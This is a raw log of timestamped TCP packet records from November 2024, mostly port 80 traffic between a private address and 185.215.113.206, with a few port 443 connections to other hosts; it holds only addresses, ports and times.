Nov 12, 2024 08:30:41.719162941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719162941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719347954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719361067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719372988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719387054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719399929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719412088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719413042 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719429970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719444990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719470024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719470024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719470024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719492912 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719508886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719521046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719532967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719546080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719551086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719558001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719569921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719573975 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719573975 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719583988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719598055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719602108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719609976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719619989 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719623089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719633102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719635010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719649076 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719659090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719671965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719674110 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719674110 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719683886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719696045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719702005 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719710112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719726086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719727993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719727993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719741106 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.719772100 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.719809055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.720387936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.720408916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.720422983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.720436096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.720447063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.720452070 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.720452070 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.720474005 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.720501900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.720534086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.720534086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721132040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721146107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721159935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721168995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721170902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721184015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721196890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721209049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721213102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721213102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721213102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721221924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721234083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721239090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721249104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721271038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721282005 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721282005 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721295118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721309900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721322060 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721332073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721343040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721354961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721365929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721365929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721368074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721380949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721395016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721407890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721421003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721426964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721426964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721435070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721446991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721453905 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721453905 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721461058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721473932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.721497059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721497059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.721530914 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722129107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722142935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722152948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722165108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722183943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722183943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722194910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722203970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722215891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722215891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722228050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722235918 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722237110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722249031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722259998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722270966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722274065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722281933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722285032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722291946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722302914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722307920 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722313881 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722325087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722335100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722347975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722348928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722348928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722358942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722369909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722379923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722393036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722393990 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722393990 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722403049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722414017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722425938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722429991 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722429991 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722435951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722449064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722460032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.722475052 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722475052 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.722527981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723071098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723084927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723104000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723114967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723123074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723129988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723140001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723153114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723154068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723154068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723165035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723177910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723189116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723198891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723201990 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723201990 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723210096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723223925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723237038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723238945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723238945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723247051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723258972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723269939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723280907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723294020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723292112 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723294020 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723304987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723304987 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723325014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723336935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723340034 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723340988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723349094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723360062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723371983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723382950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.723391056 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723391056 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723407030 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723439932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.723992109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724004984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724014997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724026918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724036932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724056005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724065065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724066973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724077940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724090099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724091053 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724091053 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724102020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724112034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724122047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724132061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724138021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724138021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724143982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724154949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724164963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724176884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724185944 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724185944 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724188089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724203110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724208117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724208117 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724222898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724234104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724242926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724246025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724257946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724267006 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724270105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724281073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724281073 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724291086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724292994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724302053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724328995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724339962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724819899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724833965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724843979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724858046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724869013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724874020 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724881887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724893093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724898100 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724905014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.724920988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724920988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724939108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.724989891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.725006104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.725034952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.725084066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.725590944 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:41.728074074 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:41.728096962 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:41.728821993 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:41.728827000 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:41.728863955 CET	57104	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:41.728869915 CET	443	57104	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:41.752305031 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:41.752352953 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:41.753839016 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:41.754188061 CET	57110	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:41.754201889 CET	443	57110	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:41.815170050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815193892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815205097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815238953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815249920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815275908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815310001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815325975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815340042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815354109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815381050 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815381050 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815411091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815428019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815442085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815454960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815469027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815485001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815500975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815514088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815525055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815526009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815525055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815563917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815604925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815618992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815632105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815661907 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815686941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.815690041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815704107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.815754890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.848059893 CET	443	57106	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.848546028 CET	57106	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.848579884 CET	443	57106	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.848984003 CET	57106	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:41.848989010 CET	443	57106	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:41.850655079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850701094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850711107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850723028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.850742102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850754023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850764036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850816011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.850816011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.850816011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.850855112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850864887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850873947 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850894928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850919962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.850919962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.850940943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850951910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.850994110 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.850994110 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851046085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851058006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851070881 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851070881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851083040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851108074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851108074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851108074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851193905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851203918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851214886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851217031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851226091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851238966 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851242065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851300001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851300001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851325035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851336002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851347923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851396084 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:41.851473093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851484060 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851495981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:41.851505995 CET	80	49809	185.215.113.206	192.168.2.5
